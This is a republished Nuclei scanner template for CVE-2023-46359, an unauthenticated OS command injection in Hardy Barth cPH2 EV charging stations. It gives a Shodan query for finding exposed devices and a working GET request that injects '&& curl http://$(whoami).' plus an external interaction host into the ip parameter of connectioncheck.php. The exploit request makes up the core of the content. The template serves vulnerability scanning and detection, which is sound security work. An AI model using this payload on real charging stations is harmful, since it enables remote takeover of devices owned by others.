CVE-2023-46359: cPH2 Charging Station v1.87.0 - OS Command Injection

2025-08-01 cPH2 Charging Station PoC Public

Description

An OS command injection vulnerability in Hardy Barth cPH2 Ladestation v1.87.0 and earlier, may allow an unauthenticated remote attacker to execute arbitrary commands on the system via a specifically crafted arguments passed to the connectivity check feature.

PoC

id: CVE-2023-46359

info:
  name: cPH2 Charging Station v1.87.0 - OS Command Injection
  author: mlec
  severity: critical
  description: |
    An OS command injection vulnerability in Hardy Barth cPH2 Ladestation v1.87.0 and earlier, may allow an unauthenticated remote attacker to execute arbitrary commands on the system via a specifically crafted arguments passed to the connectivity check feature.
  impact: |
    Unauthenticated attackers can exploit OS command injection through the connectivity check feature to execute arbitrary system commands and completely compromise cPH2 charging station installations.
  remediation: Fixed in version 2.0.0
  reference:
    - https://www.offensity.com/en/blog/os-command-injection-in-cph2-charging-station-200-cve-2023-46359-and-cve-2023-46360/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-46359
    - http://hardy.com
    - https://github.com/d4n-sec/d4n-sec.github.io
    - https://github.com/fkie-cad/nvd-json-data-feeds
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-46359
    cwe-id: CWE-78
    epss-score: 0.87608
    epss-percentile: 0.9975
    cpe: cpe:2.3:h:hardy-barth:cph2_echarge:-:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: hardy-barth
    product: cph2_echarge
    shodan-query: html:"Salia PLCC"
  tags: cve2023,cve,salia-plcc,cph2,rce,hardy-barth,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/connectioncheck.php?ip={{url_encode('127.0.0.1 && curl http://$(whoami).{{interactsh-url}}')}}"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "<b>SUCCESS</b>"
          - "127.0.0.1 && curl http://$(whoami).{{interactsh-url}}"
        condition: and

      - type: word
        part: interactsh_protocol
        words:
          - "dns"
# digest: 4a0a00473045022100a3cca4ea42756cc3f2c0782357acb33d2b8ea77e87f759ab7dc855b76e7cf73d0220643eb7135fd043041c79b21b35534ce749b28325c77793395df7f5dd2236a98f:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2023/CVE-2023-46359.yaml

References

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